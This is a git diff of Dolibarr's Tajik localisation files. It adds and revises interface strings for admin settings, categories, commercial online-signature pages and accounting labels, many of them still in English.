TriggerActiveAsModuleActive=Триггерҳо дар ин файл фаъола GeneratedPasswordDesc=Усулеро интихоб кунед, ки барои гузарвожаҳои худкор тавлидшаванда истифода шавад. DictionaryDesc=Ҳама маълумоти истинодро ворид кунед. Шумо метавонед арзишҳои худро ба пешфарз илова кунед. ConstDesc=Ин саҳифа ба шумо имкон медиҳад, ки параметрҳои дар дигар саҳифаҳо мавҷудбударо таҳрир кунед (бекор кунед). Инҳо асосан параметрҳои ҳифзшуда барои таҳиягарон/танҳо ҳалли мушкилоти пешрафта мебошанд. +MiscellaneousOptions=Miscellaneous options MiscellaneousDesc=Ҳама параметрҳои дигари марбут ба амният дар ин ҷо муайян карда шудаанд. LimitsSetup=Маҳдудиятҳо/Танзими дақиқ LimitsDesc=Шумо метавонед маҳдудиятҳо, дақиқӣ ва оптимизатсияи аз ҷониби Dolibarr истифодашударо дар ин ҷо муайян кунед @@ -1290,6 +1311,8 @@ YouMustRunCommandFromCommandLineAfterLoginToUser=You must run this command from YourPHPDoesNotHaveSSLSupport=Функсияҳои SSL дар PHP -и шумо дастрас нестанд DownloadMoreSkins=Пӯстҳои бештар барои зеркашӣ SimpleNumRefModelDesc=Рақами истинодро дар формати %syymm-nnnn бармегардонад, ки дар он yy сол аст, мм моҳ аст ва nnnn рақами пайдарпайи афзояндаи худкор нест, +SimpleRefNumRefModelDesc=Returns the reference number in the format n where n is a sequential auto-incrementing number with no reset +AdvancedNumRefModelDesc=Returns the reference number in the format %syymm-nnnn where yy is the year, mm is the month and nnnn is a sequential auto-incrementing number with no reset SimpleNumRefNoDateModelDesc=Рақами истинодро дар формати %s-nnnn бармегардонад, ки дар он nnnn рақами пайдарпайи афзояндаи худкор аст ва бидуни барқарорсозӣ ShowProfIdInAddress=Нишон додани ID касбӣ бо суроғаҳо ShowVATIntaInAddress=Рақами андоз аз арзиши иловашударо дар дохили ҷомеа пинҳон кунед @@ -1376,7 +1399,7 @@ GetBarCode=Баркодро гиред NumberingModules=Моделҳои рақамгузорӣ DocumentModules=Моделҳои ҳуҷҷат ##### Module password generation -PasswordGenerationStandard=Гузарвожаеро, ки тибқи алгоритми дохилии Dolibarr тавлид шудааст, баргардонед: аломатҳои %s дорои рақамҳои муштарак ва аломатҳои хурд. +PasswordGenerationStandard=Return a password generated according to internal Dolibarr algorithm: %s characters containing shared numbers and characters. PasswordGenerationNone=Пароли тавлидшударо пешниҳод накунед. Парол бояд дастӣ навишта шавад. PasswordGenerationPerso=Паролро мувофиқи конфигуратсияи шахсан муайянкардаи худ баргардонед. SetupPerso=Мувофиқи конфигуратсияи шумо @@ -1430,6 +1453,10 @@ SuppliersPayment=Пардохтҳои фурӯшанда SupplierPaymentSetup=Танзими пардохтҳои фурӯшанда InvoiceCheckPosteriorDate=Check facture date before validation InvoiceCheckPosteriorDateHelp=Validating an invoice will be forbidden if its date is anterior to the date of last invoice of same type. +InvoiceOptionCategoryOfOperations=Display the mention "category of operations" on the invoice. +InvoiceOptionCategoryOfOperationsHelp=Depending on the situation, the mention will appear in the form:
      - Category of operations: Delivery of goods
      - Category of operations: Provision of services
      - Category of operations: Mixed - Delivery of goods & provision of services +InvoiceOptionCategoryOfOperationsYes1=Yes, below the address block +InvoiceOptionCategoryOfOperationsYes2=Yes, in the lower left-hand corner ##### Proposals ##### PropalSetup=Танзими модули пешниҳодҳои тиҷоратӣ ProposalsNumberingModules=Моделҳои рақамгузории пешниҳоди тиҷоратӣ @@ -1472,11 +1499,12 @@ WatermarkOnDraftContractCards=Нишонаи обӣ дар лоиҳаи шарт ##### Members ##### MembersSetup=Танзими модули аъзоён MemberMainOptions=Вариантҳои асосӣ +MemberCodeChecker=Options for automatic generation of member codes AdherentLoginRequired= Логинро барои ҳар як аъзо идора кунед AdherentMailRequired=Паёми электронӣ барои сохтани узви нав лозим аст MemberSendInformationByMailByDefault=Қуттии қайд барои фиристодани тасдиқи почта ба аъзоён (тасдиқ ё обунаи нав) бо нобаёнӣ фаъол аст MemberCreateAnExternalUserForSubscriptionValidated=Барои ҳар як обунаи узви нави тасдиқшуда воридшавии корбари беруна созед -VisitorCanChooseItsPaymentMode=Меҳмонон метавонанд аз усулҳои дастраси пардохт интихоб кунанд +VisitorCanChooseItsPaymentMode=Visitor can choose from any available payment modes MEMBER_REMINDER_EMAIL=Ёддошти худкор тавассути почтаи электронии обунаҳои мӯҳлати истифодашударо фаъол созед. Эзоҳ: Модули %s бояд барои фиристодани ёдраскуниҳо фаъол ва дуруст танзим карда шавад. MembersDocModules=Шаблонҳои ҳуҷҷатҳо барои ҳуҷҷатҳое, ки аз сабти аъзоён тавлид шудаанд ##### LDAP setup ##### @@ -1738,8 +1766,8 @@ ActivateFCKeditor=Муҳаррири пешрафтаро фаъол созед: FCKeditorForNotePublic=WYSIWIG creation/edition of the field "public notes" of elements FCKeditorForNotePrivate=WYSIWIG creation/edition of the field "private notes" of elements FCKeditorForCompany=WYSIWIG creation/edition of the field description of elements (except products/services) -FCKeditorForProduct=WYSIWIG creation/edition of the field description of products/services -FCKeditorForProductDetails=Таъсис/нашри WYSIWIG хатҳои тафсилоти маҳсулот барои ҳама субъектҳо (пешниҳодҳо, фармоишҳо, фактураҳо ва ғайра). Огоҳӣ: Истифодаи ин хосият барои ин ҳолат ба таври ҷиддӣ тавсия дода намешавад, зеро он метавонад ҳангоми сохтани файлҳои PDF бо аломатҳои махсус ва форматкунии саҳифа мушкилот эҷод кунад. +FCKeditorForProductDetails=WYSIWIG creation/edition of products description or lines for objects (lines of proposals, orders, invoices, etc...). +FCKeditorForProductDetails2=Warning: Using this option for this case is seriously not recommended as it can create problems with special characters and page formatting when building PDF files. FCKeditorForMailing= Эҷод/нашри WYSIWIG барои почтаи электронии оммавӣ (Tools-> eMailing) FCKeditorForUserSignature=Эҷоди WYSIWIG/нашри имзои корбар FCKeditorForMail=Эҷод/нашри WYSIWIG барои ҳама почта (ба истиснои Tools-> eMailing) @@ -1762,7 +1790,7 @@ DetailMenuHandler=Менюи меню дар куҷо менюи навро ни DetailMenuModule=Номи модул, агар вуруди меню аз модул бошад DetailType=Навъи меню (боло ё чап) DetailTitre=Тамғаи меню ё рамзи тамға барои тарҷума -DetailUrl=URL, ки меню ба шумо мефиристад (Истиноди мутлақи URL ё истиноди беруна бо http: //) +DetailUrl=URL where menu send you (Relative URL link or external link with https://) DetailEnabled=Шарти нишон додан ё надодан DetailRight=Шароит барои намоиши менюҳои хокистарии беиҷозат DetailLangs=Номи файл барои тарҷумаи рамзи барчасп @@ -1806,6 +1834,9 @@ AGENDA_USE_EVENT_TYPE=Навъҳои рӯйдодҳоро истифода ба AGENDA_USE_EVENT_TYPE_DEFAULT=Ба таври худкор ин арзиши пешфарзро барои намуди ҳодиса дар шакли эҷоди ҳодиса таъин кунед AGENDA_DEFAULT_FILTER_TYPE=Ба таври худкор ин намуди чорабиниро дар филтри ҷустуҷӯи намуди рӯзнома танзим кунед AGENDA_DEFAULT_FILTER_STATUS=Ба таври худкор ин ҳолатро барои рӯйдодҳо дар филтри ҷустуҷӯи намуди рӯзнома таъин кунед +AGENDA_EVENT_PAST_COLOR=Past event color +AGENDA_EVENT_CURRENT_COLOR=Current event color +AGENDA_EVENT_FUTURE_COLOR=Future event color AGENDA_DEFAULT_VIEW=Ҳангоми интихоби меню Agenda кадом намуди онро шумо бо нобаёнӣ кушодан мехоҳед AGENDA_REMINDER_BROWSER=Ёддошти ҳодиса -ро дар браузери корбар фаъол созед (Вақте ки ба санаи хотиррасон расида мешавад, браузер поп -апро нишон медиҳад. Ҳар як корбар метавонад чунин огоҳиҳоро аз танзимоти огоҳиномаи браузери худ хомӯш кунад). AGENDA_REMINDER_BROWSER_SOUND=Огоҳии овозиро фаъол созед @@ -1833,7 +1864,7 @@ StockDecreaseForPointOfSaleDisabledbyBatch=Камшавии саҳмияҳо д CashDeskYouDidNotDisableStockDecease=Ҳангоми фурӯши фурӯш аз нуқтаи фурӯш шумо коҳиши саҳмияҳоро хомӯш накардаед. Аз ин рӯ, анбор лозим аст. CashDeskForceDecreaseStockLabel=Коҳиши саҳмияҳои маҳсулоти партияӣ маҷбур шуд. CashDeskForceDecreaseStockDesc=Аввал аз рӯи санаҳои қадимтарин хӯрдан ва фурӯхтан кам кунед. -CashDeskReaderKeyCodeForEnter=Рамзи калидӣ барои "Enter", ки дар хонандаи штрих -код муайян шудааст (Мисол: 13) +CashDeskReaderKeyCodeForEnter=Key ASCII code for "Enter" defined in barcode reader (Example: 13) ##### Bookmark ##### BookmarkSetup=Танзимоти модули хатчӯб BookmarkDesc=Ин модул ба шумо имкон медиҳад, ки хатчӯбҳоро идора кунед. Шумо инчунин метавонед ба ҳама саҳифаҳои Dolibarr ё вебсайтҳои беруна дар менюи чапи худ миёнабурҳо илова кунед. @@ -1871,7 +1902,7 @@ SuppliersInvoiceNumberingModel=Фурӯшанда моделҳои рақамг IfSetToYesDontForgetPermission=Агар ба қимати ғайрирасмӣ таъин шуда бошад, фаромӯш накунед, ки ба гурӯҳҳо ё корбароне, ки барои тасдиқи дуввум иҷозат дода шудаанд, иҷозат диҳед ##### GeoIPMaxmind ##### GeoIPMaxmindSetup=Танзими модули GeoIP Maxmind -PathToGeoIPMaxmindCountryDataFile=Роҳ ба файли дорои Maxmind ip ба тарҷумаи кишвар.
      Намунаҳо:
      /usr/local/share/GeoIP/GeoIP.dat
      /usr/share/GeoIP/GeoIP.dat a0342fccfr/ip2/GGo2bg0/ +PathToGeoIPMaxmindCountryDataFile=Path to file containing Maxmind ip to country translation NoteOnPathLocation=Дар хотир доред, ки файли додаҳои IP ба кишвар бояд дар дохили феҳристе бошад, ки PHP -и шумо хонда тавонад (Танзимоти PHP open_basedir ва иҷозатҳои системаи файлиро тафтиш кунед). YouCanDownloadFreeDatFileTo=Шумо метавонед версияи ройгони демо -и файли кишварии Maxmind GeoIP -ро дар %s зеркашӣ кунед. YouCanDownloadAdvancedDatFileTo=Шумо инчунин метавонед версияи мукаммали -ро бо навсозиҳо, -и файли кишварии Maxmind GeoIP дар %s зеркашӣ кунед. @@ -1922,6 +1953,7 @@ BackupDumpWizard=Ёвар барои сохтани файли партови п BackupZipWizard=Ёвар барои сохтани бойгонии феҳристи ҳуҷҷатҳо SomethingMakeInstallFromWebNotPossible=Насби модули беруна аз сабаби зерин имконнопазир аст: SomethingMakeInstallFromWebNotPossible2=Аз ин сабаб, раванди навсозӣ дар ин ҷо тавсифшуда раванди дастӣ аст, ки танҳо корбари имтиёзнок иҷро карда метавонад. +InstallModuleFromWebHasBeenDisabledContactUs=Install or development of external modules or dynamic websites, from the application, is currently locked for security purpose. Please contact us if you need to enable this feature. InstallModuleFromWebHasBeenDisabledByFile=Аз ҷониби мудири шумо насб кардани модули беруна аз барнома хомӯш карда шудааст. Шумо бояд аз ӯ хоҳиш кунед, ки файли %s хориҷ кунад, то ин хусусият иҷозат дода шавад. ConfFileMustContainCustom=Насб кардан ё сохтани модули беруна аз барнома бояд файлҳои модулро дар феҳристи %s захира кунад. Барои коркарди ин феҳрист аз ҷониби Dolibarr, шумо бояд conf/conf.php -ро насб кунед, то 2 хати директивиро илова кунед:
      $ dolibarr_main_;
      $ dolibarr_main_document_root_alt = '%s/custom'; HighlightLinesOnMouseHover=Ҳангоми гузаштан аз болои муш хатҳои ҷадвалро равшан кунед @@ -1977,6 +2009,7 @@ MailToSendSupplierOrder=Фармоишҳои харид MailToSendSupplierInvoice=Ҳисобнома -фактураҳои фурӯшанда MailToSendContract=Шартномаҳо MailToSendReception=Қабулгоҳҳо +MailToExpenseReport=Expense reports MailToThirdparty=Шахсони сеюм MailToMember=Аъзоён MailToUser=Истифодабарандагон @@ -2030,6 +2063,7 @@ MAIN_PDF_MARGIN_RIGHT=Ҳошияи рост дар PDF MAIN_PDF_MARGIN_TOP=Маржа боло дар PDF MAIN_PDF_MARGIN_BOTTOM=Ҳошияи поёни дар PDF MAIN_DOCUMENTS_LOGO_HEIGHT=Баландӣ барои логотип дар PDF +DOC_SHOW_FIRST_SALES_REP=Show first sales representative MAIN_GENERATE_PROPOSALS_WITH_PICTURE=Add column for picture on proposal lines MAIN_DOCUMENTS_WITH_PICTURE_WIDTH=Width of the column if a picture is added on lines MAIN_PDF_NO_SENDER_FRAME=Hide borders on sender address frame @@ -2047,6 +2081,8 @@ RemoveSpecialChars=Аломатҳои махсусро хориҷ кунед COMPANY_AQUARIUM_CLEAN_REGEX=Филтри регекс ба арзиши тоза (COMPANY_AQUARIUM_CLEAN_REGEX) COMPANY_DIGITARIA_CLEAN_REGEX=Филтри Regex ба арзиши тоза (COMPANY_DIGITARIA_CLEAN_REGEX) COMPANY_DIGITARIA_UNIQUE_CODE=Нусхабардорӣ иҷозат дода намешавад +RemoveSpecialWords=Clean certain words when generating sub-accounts for customers or suppliers +RemoveSpecialWordsHelp=Specify the words to be cleaned before calculating the customer or supplier account. Use a ";" between each word GDPRContact=Корманди ҳифзи маълумот (DPO, Privacy Data or GDPR тамос) GDPRContactDesc=If you store personal data in your Information System, you can name the contact who is responsible for the General Data Protection Regulation here HelpOnTooltip=Матни кӯмак барои нишон додан дар лавҳаи асбобҳо @@ -2063,11 +2099,18 @@ EmailCollectors=Email collectors EmailCollectorDescription=Барои скан кардани қуттиҳои почтаи электронӣ (бо истифода аз протоколи IMAP) ва сабт кардани мактубҳои ба аризаи шумо дар ҷои лозима навишташуда ва/ё ба таври худкор эҷод кардани баъзе сабтҳо (ба монанди роҳбарон), кори ба нақша гирифташуда ва саҳифаи танзимро илова кунед. NewEmailCollector=Коллексияи нави почтаи электронӣ EMailHost=Хости сервери почтаи IMAP +EMailHostPort=Port of email IMAP server +loginPassword=Login/Password +oauthToken=Oauth2 token +accessType=Acces type +oauthService=Oauth service +TokenMustHaveBeenCreated=Module OAuth2 must be enabled and an oauth2 token must have been created with the correct permissions (for example scope "gmail_full" with OAuth for Gmail). MailboxSourceDirectory=Феҳристи манбаъҳои паёмдони почта MailboxTargetDirectory=Феҳристи ҳадафҳои паёмдони почта EmailcollectorOperations=Амалиётҳое, ки аз ҷониби коллектор иҷро карда мешаванд EmailcollectorOperationsDesc=Амалиётҳо аз боло то поён иҷро карда мешаванд MaxEmailCollectPerCollect=Шумораи максималии мактубҳои дар як ҷамъоварӣ ҷамъшуда +TestCollectNow=Test collect CollectNow=Ҳоло ҷамъ кунед ConfirmCloneEmailCollector=Are you sure you want to clone the Email collector %s? DateLastCollectResult=Санаи охирин кӯшиши ҷамъоварӣ @@ -2097,6 +2140,7 @@ CodeLastResult=Рамзи натиҷаҳои охирин NbOfEmailsInInbox=Шумораи мактубҳо дар феҳристи манбаъҳо LoadThirdPartyFromName=Ҷустуҷӯи тарафи сеюмро дар %s бор кунед (танҳо бор) LoadThirdPartyFromNameOrCreate=Ҷустуҷӯи тарафи сеюмро дар %s бор кунед (эҷод кунед, агар наёбад) +LoadContactFromEmailOrCreate=Load contact searching on %s (create if not found) AttachJoinedDocumentsToObject=Save attached files into object documents if a ref of an object is found into email topic. WithDolTrackingID=Паём аз сӯҳбате, ки бо аввалин почтаи электронӣ аз Dolibarr фиристода шудааст WithoutDolTrackingID=Паём аз сӯҳбате, ки бо почтаи аввал оғоз шудааст, аз Dolibarr фиристода нашудааст @@ -2106,7 +2150,7 @@ CreateCandidature=Эҷоди аризаи корӣ FormatZip=Zip MainMenuCode=Рамзи вуруд ба меню (менюи асосӣ) ECMAutoTree=Нишон додани дарахти автоматии ECM -OperationParamDesc=Define the rules to use to extract or set values.
      Example for operations that need to extract a name from email subject:
      name=EXTRACT:SUBJECT:Message from company ([^\n]*)
      Example for operations that create objects:
      objproperty1=SET:the value to set
      objproperty2=SET:a value including value of __objproperty1__
      objproperty3=SETIFEMPTY:value used if objproperty3 is not already defined
      objproperty4=EXTRACT:HEADER:X-Myheaderkey:\\s*([^\\s]*)
      options_myextrafield1=EXTRACT:SUBJECT:([^\n]*)
      object.objproperty5=EXTRACT:BODY:My company name is\\s([^\\s]*)

      Use a ; char as separator to extract or set several properties. +OperationParamDesc=Define the rules to use to extract some data or set values to use for operation.

      Example to extract a company name from email subject into a temporary variable:
      tmp_var=EXTRACT:SUBJECT:Message from company ([^\n]*)

      Examples to set the properties of an object to create:
      objproperty1=SET:a hard coded value
      objproperty2=SET:__tmp_var__
      objproperty3=SETIFEMPTY:a value (value is set only if property is not already defined)
      objproperty4=EXTRACT:HEADER:X-Myheaderkey:\\s*([^\\s]*)
      options_myextrafield1=EXTRACT:SUBJECT:([^\n]*)
      object.objproperty5=EXTRACT:BODY:My company name is\\s([^\\s]*)

      Use a ; char as separator to extract or set several properties. OpeningHours=Соатҳои корӣ OpeningHoursDesc=Дар ин ҷо соатҳои кории муқаррарии ширкати худро ворид кунед. ResourceSetup=Танзимоти модули захираҳо @@ -2171,6 +2215,7 @@ ShowProjectLabel=Нишони лоиҳа PDF_INCLUDE_ALIAS_IN_THIRDPARTY_NAME=Include alias in thirdparty name THIRDPARTY_ALIAS=Name thirdparty - Alias thirdparty ALIAS_THIRDPARTY=Alias thirdparty - Name thirdparty +PDFIn2Languages=Show labels into PDF in 2 different languages PDF_USE_ALSO_LANGUAGE_CODE=Агар шумо хоҳед, ки баъзе матнҳо дар PDF -и худ бо 2 забони гуногун дар як PDF -и тавлидшуда такрор карда шаванд, шумо бояд ин забони дуввумро муқаррар кунед, то PDF -и тавлидшуда дар як саҳифа 2 забони гуногунро дар бар гирад, ки ҳангоми тавлиди PDF интихоб шудааст ва ин ( Танҳо чанд қолаби PDF инро дастгирӣ мекунанд). Барои 1 забон барои як PDF холӣ бошед. PDF_USE_A=Gererate PDF documents with format PDF/A instead of defaut format PDF FafaIconSocialNetworksDesc=Дар ин ҷо рамзи тасвири FontAwesomeро ворид кунед. Агар шумо намедонед, ки FontAwesome чист, шумо метавонед арзиши умумии fa-address-book -ро истифода баред. @@ -2199,12 +2244,12 @@ MailToPartnership=Шарикӣ AGENDA_EVENT_DEFAULT_STATUS=Ҳолати пешфарз ҳангоми эҷоди ҳодиса аз форма YouShouldDisablePHPFunctions=Шумо бояд вазифаҳои PHP -ро хомӯш кунед IfCLINotRequiredYouShouldDisablePHPFunctions=Ба истиснои агар ба шумо лозим аст, ки фармонҳои системаро дар коди фармоишӣ иҷро кунед, шумо бояд вазифаҳои PHP -ро ғайрифаъол кунед -PHPFunctionsRequiredForCLI=Бо мақсади ниҳонӣ (ба монанди нусхаи эҳтиётии кор ё иҷрои барномаи антивурс), шумо бояд вазифаҳои PHP -ро нигоҳ доред +PHPFunctionsRequiredForCLI=For shell purpose (like scheduled job backup or running an antivirus program), you must keep PHP functions NoWritableFilesFoundIntoRootDir=Дар директорияи решавии шумо ягон файл ё феҳристи барномаҳои маъмул ёфт нашуд (Хуб) RecommendedValueIs=Тавсия дода мешавад: %s Recommended=Тавсия дода мешавад NotRecommended=Тавсия дода намешавад -ARestrictedPath=Some restricted path +ARestrictedPath=Some restricted path for data files CheckForModuleUpdate=Навсозии модулҳои беруниро тафтиш кунед CheckForModuleUpdateHelp=Ин амал ба муҳаррирони модулҳои беруна пайваст мешавад, то дастрасии версияи навро тафтиш кунад. ModuleUpdateAvailable=Навсозӣ дастрас аст @@ -2212,6 +2257,7 @@ NoExternalModuleWithUpdate=Барои модулҳои беруна ягон н SwaggerDescriptionFile=Файли тавсифи API Swagger (барои истифода бо redoc масалан) YouEnableDeprecatedWSAPIsUseRESTAPIsInstead=Шумо WS API -и кӯҳнашударо фаъол кардед. Шумо бояд ба ҷои REST API истифода баред. RandomlySelectedIfSeveral=Ба таври тасодуфӣ интихоб карда мешавад, агар якчанд тасвир мавҷуд бошад +SalesRepresentativeInfo=For Proposals, Orders, Invoices. DatabasePasswordObfuscated=Пароли пойгоҳи додаҳо дар файли conf шарҳ дода шудааст DatabasePasswordNotObfuscated=Пароли пойгоҳи додаҳо дар файли conf пинҳон карда нашудааст APIsAreNotEnabled=Модулҳои API фаъол нестанд @@ -2251,10 +2297,10 @@ LateWarningAfter="Late" warning after TemplateforBusinessCards=Template for a business card in different size InventorySetup= Inventory Setup ExportUseLowMemoryMode=Use a low memory mode -ExportUseLowMemoryModeHelp=Use the low memory mode to execute the exec of the dump (compression is done through a pipe instead of into the PHP memory). This method does not allow to check that file is completed and error message can't be reported if it fails. +ExportUseLowMemoryModeHelp=Use the low memory mode to generate the dump file (compression is done through a pipe instead of into the PHP memory). This method does not allow to check that the file is complete and error message can't be reported if it fails. Use it if you experience not enough memory errors. ModuleWebhookName = Webhook -ModuleWebhookDesc = Interface to catch dolibarr triggers and send it to an URL +ModuleWebhookDesc = Interface to catch dolibarr triggers and send data of the event to an URL WebhookSetup = Webhook setup Settings = Settings WebhookSetupPage = Webhook setup page @@ -2275,7 +2321,58 @@ IconOnly=Icon only - Text on tooltip only INVOICE_ADD_ZATCA_QR_CODE=Show the ZATCA QR code on invoices INVOICE_ADD_ZATCA_QR_CODEMore=Some Arabic countries need this QR Code on their invoices INVOICE_ADD_SWISS_QR_CODE=Show the swiss QR-Bill code on invoices +INVOICE_SHOW_SHIPPING_ADDRESS=Show shipping address +INVOICE_SHOW_SHIPPING_ADDRESSMore=Compulsory mention for France UrlSocialNetworksDesc=Url link of social network. Use {socialid} for the variable part that contains the social network ID. IfThisCategoryIsChildOfAnother=If this category is a child of another one +DarkThemeMode=Dark theme mode +AlwaysDisabled=Always disabled +AccordingToBrowser=According to browser +AlwaysEnabled=Always Enabled +DoesNotWorkWithAllThemes=Will not work with all themes NoName=No name +ShowAdvancedOptions= Show advanced options +HideAdvancedoptions= Hide advanced options CIDLookupURL=The module brings an URL that can be used by an external tool to get the name of a thirdparty or contact from its phone number. URL to use is: +OauthNotAvailableForAllAndHadToBeCreatedBefore=OAUTH2 authentication is not available for all hosts, and a token with the right permissions must have been created upstream with the OAUTH module +MAIN_MAIL_SMTPS_OAUTH_SERVICE=OAUTH2 authentication service +DontForgetCreateTokenOauthMod=A token with the right permissions must have been created upstream with the OAUTH module +MAIN_MAIL_SMTPS_AUTH_TYPE=Authentification method +UsePassword=Use a password +UseOauth=Use a OAUTH token +Images=Images +MaxNumberOfImagesInGetPost=Max number of images allowed in a HTML field submitted in a form +MaxNumberOfPostOnPublicPagesByIP=Max number of posts on public pages with the same IP address in a month +CIDLookupURL=The module brings an URL that can be used by an external tool to get the name of a thirdparty or contact from its phone number. URL to use is: +ScriptIsEmpty=The script is empty +ShowHideTheNRequests=Show/hide the %s SQL request(s) +DefinedAPathForAntivirusCommandIntoSetup=Define a path for an antivirus program into %s +TriggerCodes=Triggerable events +TriggerCodeInfo=Enter here the trigger code(s) that must generate a post of a web request (only external URL are allowed). You can enter several trigger codes separated by a comma. +EditableWhenDraftOnly=If unchecked, the value can only be modified when object has a draft status +CssOnEdit=Css on edit pages +CssOnView=Css on view pages +CssOnList=Css on list pages +HelpCssOnEditDesc=The Css used when editing the field.
      Example: "minwiwdth100 maxwidth500 widthcentpercentminusx" +HelpCssOnViewDesc=The Css used when viewing the field. +HelpCssOnListDesc=The Css used when field is inside a list table.
      Example: "tdoverflowmax200" +RECEPTION_PDF_HIDE_ORDERED=Hide the quantity ordered on the generated documents for receptions +MAIN_PDF_RECEPTION_DISPLAY_AMOUNT_HT=Show the price on the generated documents for receptions +WarningDisabled=Warning disabled +LimitsAndMitigation=Access limits and mitigation +DesktopsOnly=Desktops only +DesktopsAndSmartphones=Desktops et smartphones +AllowOnlineSign=Allow online signing +AllowExternalDownload=Allow external download (without login, using a shared link) +DeadlineDayVATSubmission=Deadline day for vat submission on the next month +MaxNumberOfAttachementOnForms=Max number of joinded files in a form +IfDefinedUseAValueBeetween=If defined, use a value between %s and %s +Reload=Reload +ConfirmReload=Confirm module reload +WarningModuleHasChangedLastVersionCheckParameter=Warning: the module %s has set a parameter to check its version at each page access. This is a bad and not allowed practice that may make the page to administer modules instable. Please contact author of module to fix this. +WarningModuleHasChangedSecurityCsrfParameter=Warning: the module %s has disabled the CSRF security of your instance. This action is suspect and your installation may no more be secured. Please contact the author of the module for explanation. +EMailsInGoingDesc=Incoming emails are managed by the module %s. You must enable and configure it if you need to support ingoing emails. +MAIN_IMAP_USE_PHPIMAP=Use the PHP-IMAP library for IMAP instead of native PHP IMAP. This also allows the use of an OAuth2 connection for IMAP (module OAuth must also be activated). +MAIN_CHECKBOX_LEFT_COLUMN=Show the column for field and line selection on the left (on the right by default) + +CSSPage=CSS Style diff --git a/htdocs/langs/tg_TJ/categories.lang b/htdocs/langs/tg_TJ/categories.lang index 4b948d6caaf..83543aa9af6 100644 --- a/htdocs/langs/tg_TJ/categories.lang +++ b/htdocs/langs/tg_TJ/categories.lang @@ -42,6 +42,7 @@ MemberHasNoCategory=Ин узв дар ягон барчаспҳо/катего ContactHasNoCategory=Ин тамос дар ягон барчаспҳо/категорияҳо нест ProjectHasNoCategory=Ин лоиҳа дар ягон барчаспҳо/категорияҳо нест ClassifyInCategory=Ба тег/категория илова кунед +RemoveCategory=Remove category NotCategorized=Бе барчасп/категория CategoryExistsAtSameLevel=Ин категория аллакай бо ин реф мавҷуд аст ContentsVisibleByAllShort=Мундариҷа барои ҳама намоён аст @@ -67,6 +68,7 @@ StockCategoriesShort=Барчасбҳо/категорияҳои анбор ThisCategoryHasNoItems=Ин категория ягон ҷузъро дарбар намегирад. CategId=ID/категория ParentCategory=Теги/категорияи волидайн +ParentCategoryID=ID of parent tag/category ParentCategoryLabel=Нишони барчасп/категорияи волидайн CatSupList=Рӯйхати барчаспҳо/категорияҳо CatCusList=Рӯйхати мизоҷон/барчаспҳо/категорияҳо @@ -86,15 +88,18 @@ DeleteFromCat=Аз барчаспҳо/категория хориҷ кунед ExtraFieldsCategories=Хусусиятҳои иловагӣ CategoriesSetup=Танзимоти барчаспҳо/категорияҳо CategorieRecursiv=Ба таври худкор бо тег/категорияи волидайн пайванд кунед -CategorieRecursivHelp=Агар интихоб фаъол бошад, вақте ки шумо маҳсулотро ба зеркатегория илова мекунед, маҳсулот низ ба категорияи волидайн илова карда мешавад. +CategorieRecursivHelp=If option is on, when you add an object into a subcategory, the object will also be added into the parent categories. AddProductServiceIntoCategory=Маҳсулот/хидмати зеринро илова кунед AddCustomerIntoCategory=Ба муштарӣ категория таъин кунед AddSupplierIntoCategory=Ба таъминкунанда категория таъин кунед +AssignCategoryTo=Assign category to ShowCategory=Нишон додани тег/категория ByDefaultInList=Бо нобаёнӣ дар рӯйхат ChooseCategory=Категорияро интихоб кунед StocksCategoriesArea=Категорияҳои анборҳо +TicketsCategoriesArea=Tickets Categories ActionCommCategoriesArea=Категорияҳои чорабиниҳо WebsitePagesCategoriesArea=Категорияҳои саҳифа-контейнерӣ KnowledgemanagementsCategoriesArea=KM article Categories UseOrOperatorForCategories=Барои категорияҳо оператори 'Ё' -ро истифода баред +AddObjectIntoCategory=Add object into category diff --git a/htdocs/langs/tg_TJ/commercial.lang b/htdocs/langs/tg_TJ/commercial.lang index 6e04e8cebc1..a0b0b533644 100644 --- a/htdocs/langs/tg_TJ/commercial.lang +++ b/htdocs/langs/tg_TJ/commercial.lang @@ -74,8 +74,16 @@ StatusProsp=Ҳолати дурнамо DraftPropals=Лоиҳаи пешниҳодҳои тиҷоратӣ NoLimit=Бе маҳдудият ToOfferALinkForOnlineSignature=Истинод барои имзои онлайн -WelcomeOnOnlineSignaturePage=Хуш омадед ба саҳифа барои қабули пешниҳодҳои тиҷоратӣ аз %s -ThisScreenAllowsYouToSignDocFrom=Ин экран ба шумо имкон медиҳад, ки иқтибос/пешниҳоди тиҷоратиро қабул кунед ва имзо гузоред ё рад кунед -ThisIsInformationOnDocumentToSign=Ин маълумот дар бораи ҳуҷҷат барои қабул ё рад кардан аст +WelcomeOnOnlineSignaturePageProposal=Welcome to the page to accept commercial proposals from %s +WelcomeOnOnlineSignaturePageContract=Welcome to %s Contract PDF Signing Page +WelcomeOnOnlineSignaturePageFichinter=Welcome to %s Intervention PDF Signing Page +ThisScreenAllowsYouToSignDocFromProposal=This screen allow you to accept and sign, or refuse, a quote/commercial proposal +ThisScreenAllowsYouToSignDocFromContract=This screen allow you to sign contract on PDF format online. +ThisScreenAllowsYouToSignDocFromFichinter=This screen allow you to sign intervention on PDF format online. +ThisIsInformationOnDocumentToSignProposal=This is information on document to accept or refuse +ThisIsInformationOnDocumentToSignContract=This is information on contract to sign +ThisIsInformationOnDocumentToSignFichinter=This is information on intervention to sign SignatureProposalRef=Имзои иқтибос/пешниҳоди тиҷоратӣ %s +SignatureContractRef=Signature of contract %s +SignatureFichinterRef=Signature of intervention %s FeatureOnlineSignDisabled=Хусусият барои имзои онлайн ғайрифаъол аст ё ҳуҷҷате, ки пеш аз фаъол кардани он тавлид шудааст diff --git a/htdocs/langs/tg_TJ/compta.lang b/htdocs/langs/tg_TJ/compta.lang index 39a0b1ee583..c9e0fa0863b 100644 --- a/htdocs/langs/tg_TJ/compta.lang +++ b/htdocs/langs/tg_TJ/compta.lang @@ -29,6 +29,8 @@ BalanceBefore=Тавозун (пеш) Balance=Тавозун Debit=Дебет Credit=Кредит +AccountingDebit=Debit +AccountingCredit=Credit Piece=Ҳуҷҷати ҳисобдорӣ. AmountHTVATRealReceived=Нет ҷамъоварӣ AmountHTVATRealPaid=Натиҷаи пардохт @@ -244,12 +246,12 @@ TurnoverPerProductInCommitmentAccountingNotRelevant=Ҳисоботи муоми TurnoverPerSaleTaxRateInCommitmentAccountingNotRelevant=Ҳисоботи гардиши ҷамъшудаи меъёри андози фурӯш дастрас нест. Ин ҳисобот танҳо барои ҳисобот дар бораи гардиши мол дастрас аст. CalculationMode=Ҳолати ҳисобкунӣ AccountancyJournal=Журнали рамзи баҳисобгирӣ 